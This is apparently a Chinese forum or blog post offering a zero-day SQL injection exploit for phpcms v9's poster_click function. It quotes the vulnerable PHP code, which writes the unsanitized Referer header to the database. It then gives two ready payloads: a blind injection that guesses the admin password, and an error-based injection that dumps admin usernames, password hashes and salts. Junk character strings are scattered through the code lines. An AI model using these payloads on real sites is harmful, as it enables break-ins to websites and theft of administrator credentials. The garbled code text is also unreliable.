phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php
& e' m& \6 y' c
public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
$ W( @! c' u* U; [# ^9 o9 Pif (!is_array($r) && empty($r)) return false;
# M- E9 N5 e4 u; [$ip_area = pc_base::load_sys_class('ip_area');
" l0 \1 S, E2 Y  ^$ip = ip();
* q6 I# b3 q" ^0 q$area = $ip_area->get($ip);
: G# k2 }; `* ]/ N9 y( n7 }4 D$username = param::get_cookie('username') ? param::get_cookie('username') : '';
# t" S5 ^$ V) k& }if($id) {
6 Z4 p# H' X9 H5 D8 T2 m$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
7 B- q( t) `* P& k! H- ^$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
4 v  s5 Q; \6 s! W7 B' o5 wif (count($setting)==1) {
$url = $setting['1']['linkurl'];
" ]7 R& T" A  D/ ]# [- _2 ^5 u} else {
! I1 P  P3 b2 c7 z7 O8 o1 s$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
5 c7 J6 X/ Z  E7 v% w6 N. K- U}
+ |8 ~# C  ~% n4 i4 e4 wheader('Location: '.$url);
+ ^; q) s4 H# }* c/ f}


" z; l* N/ _& @# j
利用方式：

) @+ N' _- n  Q% T+ d/ V1、可以采用盲注入的手法：
# G6 `+ g' I3 T1 Q( R- i
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
0 C% n! t! T) E
6 B$ z. J8 F% j( l4 Q通过返回页面，正常与否一个个猜解密码字段。
* m# D' P: }0 t/ o" f. G; ?4 Z
2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
. E. J/ S) |3 a6 D8 }9 k
此方法是爆错注入手法，原理自查。
